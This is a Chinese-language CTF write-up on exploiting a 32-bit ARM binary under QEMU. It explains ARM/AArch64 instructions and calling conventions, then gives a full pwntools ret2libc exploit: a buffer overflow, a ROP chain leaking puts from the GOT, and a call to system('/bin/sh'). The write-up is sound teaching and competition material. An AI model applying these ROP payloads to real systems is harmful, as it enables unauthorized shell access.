参考文章
环境配置
sudo apt-get install gdb-multiarch sudo apt update sudo apt install qemu sudo apt-get install qemu-user sudo apt-get install qemu-user-binfmt sudo apt-get install "binfmt*"
sudo apt search "libc6" | grep arm
sudo apt install libc6-armel-cross sudo apt install libc6-dbg-arm64-cross
|
http://ports.ubuntu.com/pool/main/g/glibc/
运行
qemu-arm -L /path/to/lib ./pwn
|
调试
qemu-arm -L /path/to/lib -g 1234./pwn
gdb-multiarch attach 1234
|
脚本
from pwn import * import subprocess import time
context(arch="arm", os="linux") context.log_level='debug' context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
def ggg(): gdb_cmd = [ "tmux", "split-window", "-v", "-l", "190", "gdb-multiarch", "-ex", "set architecture arm", "-ex", f"file pwn", "-ex", "target remote localhost:1234", "-ex","b *0x104f0", "-ex","c" ] subprocess.Popen(gdb_cmd) time.sleep(1)
elf=ELF('./pwn') shellcode=asm(shellcraft.execve("/bin/sh"))
p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabihf", "pwn"]) ggg() shell()
|
相关知识
指令学习
- MOV: 数据传输指令,用于将数据从一个寄存器或内存中复制到另一个寄存器或内存中。
- ADD/SUB: 加法和减法指令。
- CMP: 比较指令,比较两个操作数的大小关系。
- B: 分支指令,用于无条件跳转到指定地址。
- BL: 分支指令,用于跳转到指定地址并将返回地址保存在LR寄存器中,可用于函数调用。
- LDR/STR: 数据传输指令,用于从内存中读取数据或将数据写入内存。
- LDR 用于将某些内容从内存加载到寄存器中,例如
LDR R2, [R0] 从R0寄存器中存储的内存地址的值读入R2寄存器。
- STR 用于将某些内容从寄存器存储到内存地址中,例如
STR R2, [R1] 从R2寄存器中将值存储到R1寄存器中的内存地址中。
- PUSH/POP: 栈操作指令,用于将寄存器中的数据入栈或从栈中弹出数据。
| 指令 |
功能 |
指令 |
功能 |
| MOV |
移动数据 |
EOR |
按位异或 |
| MVN |
移动数据并取反 |
LDR |
加载 |
| ADD |
加法 |
STR |
存储 |
| SUB |
减法 |
LDM |
加载多个 |
| MUL |
乘法 |
STM |
存储多个 |
| LSL |
逻辑左移 |
PUSH |
入栈 |
| LSR |
逻辑右移 |
POP |
出栈 |
| ASR |
算术右移 |
B |
跳转 |
| ROR |
右旋 |
BL |
Link+跳转 |
| CMP |
比较 |
BX |
分支跳转 |
| AND |
按位与 |
BLX |
Linx+分支跳转 |
| ORR |
按位或 |
SWI/SVC |
系统调用 |
栈帧结构

arm
| 寄存器 |
说明 |
| R0 |
存储函数的第一个参数或函数的返回结果。 |
| R13 (堆栈指针SP) |
指向堆栈的顶部 |
| R14(链接寄存器LR) |
链接寄存器,用于存放函数调用结束处的返回地址。 |
| R15(程序计数器PC) |
程序计数器。 |
ARM 架构下的函数调用约定为,函数的前四个参数保存在寄存器 R0 - R3 中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 R0 中,R7存放系统调用号(arm32 下,read 的系统调用号是 3,execve 的系统调用号是 0xb),R11(FP)相当于rbp,
R13(SP)相当于rsp,R14(LR)用来存放函数返回地址,R15(PC)相当于rip,x64函数返回的时候大多是通过leave ret来返回的,而arm是通过
sub sp, r11, #4 将r11减4的值传给sp pop {r11, pc} #恢复rbp,和pc
|
来进行栈回溯的,当然我们熟悉的pop和push指令也都有
arm中没有call funk的汇编,只有B funk,BL funk,BX funk,BLX funk来进行跳转
B就相当于jmp,一般形况下BL相当于call,BL会跳转到指定位置执行代码,然后将当前位置的PC值保存到LR中,也就是将返回地址保存到了LR中
然后是ldr(加载指令)和str(存储指令)这两个指令的含义
ldr r2, [r1], #-2 将r1地址中的值传给r2,然后r1-=2 ldr r2, [r1], r3, LSL#2 将r1地址中的值传给r2,然后r1+=r3<<2 str r2, [r1, #2] 将r2中的值存储到r1中的地址加2处的地址中 str r2, [r1, r3, LSL#2] 将r2中的值存储到r1中的地址加上r3中的值左移两位后的值所指向的地址中
|
aarch64
AARCH64 架构下的函数调用约定为,函数的前六个参数保存在寄存器 X0 - X5 中。与ARM架构不同的是,AARCH64 架构下,被调用者不需要实现栈平衡,由调用者负责栈平衡,X0存放函数返回值,如果返回值是一个结构体或类似的较大的数据类型,则会使用 x0 和 x1 寄存器记录返回值X8常用来存放系统调用号或一些函数的返回结果,x32是PC寄存器,栈顶是X31(SP)寄存器,栈帧是X29(FP)寄存器,X30(LR)存放着函数的返回地址
对于B类的跳转指令,新增了BR指令,可以向寄存器里的地址跳转
值得留意的是,aarch64中没有了pop和push指令,而是通过STP和LDP来实现的
stp x29, x30, [sp, #-0x50]! 将x29的值push到sp-0X50处,将x30的值push到sp-0x50+0x8处,然后sp-=0x50(如果后面没有!号的话,sp不变) ldp x29, x30, [sp], #0x50 将sp中的值pop到x29中,将sp+8中的值pop到x30中,然后将sp+=0x50 诸如此类的使用方式
|
aarch64中有ret指令,但ret并不是将是sp中的值pop出来当作下一条指令执行,而是ret到LR(x30)中储存的地址继续执行
题目:领航杯2025 ARM-ROP-ret2libc
题目分析
运行
给了libc版本,在 http://ports.ubuntu.com/pool/main/g/glibc/ 下了一个同为2.27版本的,通过-L指定版本,虽然仍有差异,但本地打通后打远程只需微调即可
qemu-arm -g 12345 -L ./glibc-2.27 login_system
|
查看保护
❯ checksec login_system [*] '/home/zechariah/桌面/LHB/login_system' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000)
|
静态分析

解题思路
canary没开,是我喜欢的题,直接溢出!
先找 gadget 尝试 rop 泄露puts 地址,进而可以得到 libc 基地址,最后打一个 ret2libc 即可 getshell
解题流程
测量变量溢出长度
from pwn import *
context.arch = 'arm' context.terminal = ["tmux", "splitw", "-h"]
p = process(['qemu-arm', '-L', './glibc-2.27','-g','11451', 'login_system']) context(arch='arm', os='linux') context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] elf = ELF('./login_system')
gdb.attach(target=("localhost", 11451), exe=elf.path) p.recvuntil(b'Username: ') p.sendline(b'admin')
p.recvuntil(b'Password: ') p.sendline(cyclic(500, n=4)) pause() p.interactive()
|


溢出长度260
寻找gedget
arm中pc就相当于eip,只要能控制pc我们就能进行rop控制程序执行流
ROPgadget --binary login_system --only "pop|ret"
Gadgets information ============================================================ 0x000105c0 : pop {fp, pc} 0x000103f0 : pop {r3, pc} 0x00010558 : pop {r4, pc} 0x0001071c : pop {r4, r5, r6, r7, r8, sb, sl, pc} Unique gadgets found: 4
|
通过pop {r3, pc}和0x000106c0 : mov r0, r3 ; pop {fp, pc}我们可以完美控制r0,也就是函数调用的第一个参数
值得高兴的是,在本题中我们只需将puts的第一个参数定为puts@got,system的参数定为&"/bin/sh"即可getshell
但值得一提的是,puts函数的结尾会有6次pop,最后一次才是pop pc

因此我们需要在payload中填充一定数量的junk以精准控制程序的执行流。
具体填充的数量要分析题目给出的libc中puts的具体实现,不同的libc函数末尾的pop次数是不一样的
因此如果本地打通后如果和远程靶机使用的libc不同,不仅需要改exp中指令在libc的偏移,还需要修改填充的junk数量
EXP
from pwn import *
context(arch='arm', os='linux') context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] elf = ELF('./login_system') p = process(['qemu-arm', '-L', './glibc-2.27','-g','11452', 'login_system'])
gdb.attach(target=("localhost", 11452), exe=elf.path) libc = ELF('./libc-2.27.so')
offset = 260 main_addr = 0x000106ac pop_r3_pc = 0x000103f0 mov_r0_r3_pop_fp_pc = 0x000106c0
payload1 = b'A' * offset payload1 += p32(pop_r3_pc) payload1 += p32(elf.got['puts']) payload1 += p32(mov_r0_r3_pop_fp_pc) payload1 += b'junk' payload1 += p32(elf.plt['puts']) payload1 += b'junk' * 5 payload1 += p32(main_addr)
p.recvuntil(b'Username: ') p.sendline(b'admin') p.recvuntil(b'Password: ') p.sendline(payload1)
p.recvuntil(b'Wrong Password!\n') puts_addr = u32(p.recv(4)) log.success(f'Leaked puts address: {hex(puts_addr)}')
libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) log.success(f'Libc base address: {hex(libc_base)}') log.success(f'System address: {hex(system_addr)}') log.success(f'"/bin/sh" address: {hex(bin_sh_addr)}')
payload2 = b'A' * offset payload2 += p32(pop_r3_pc) payload2 += p32(bin_sh_addr) payload2 += p32(mov_r0_r3_pop_fp_pc) payload2 += b'junk' * 1 payload2 += p32(system_addr)
p.recvuntil(b'Username: ') p.sendline(b'admin') p.recvuntil(b'Password: ') p.sendline(payload2)
p.interactive()
|
getshell
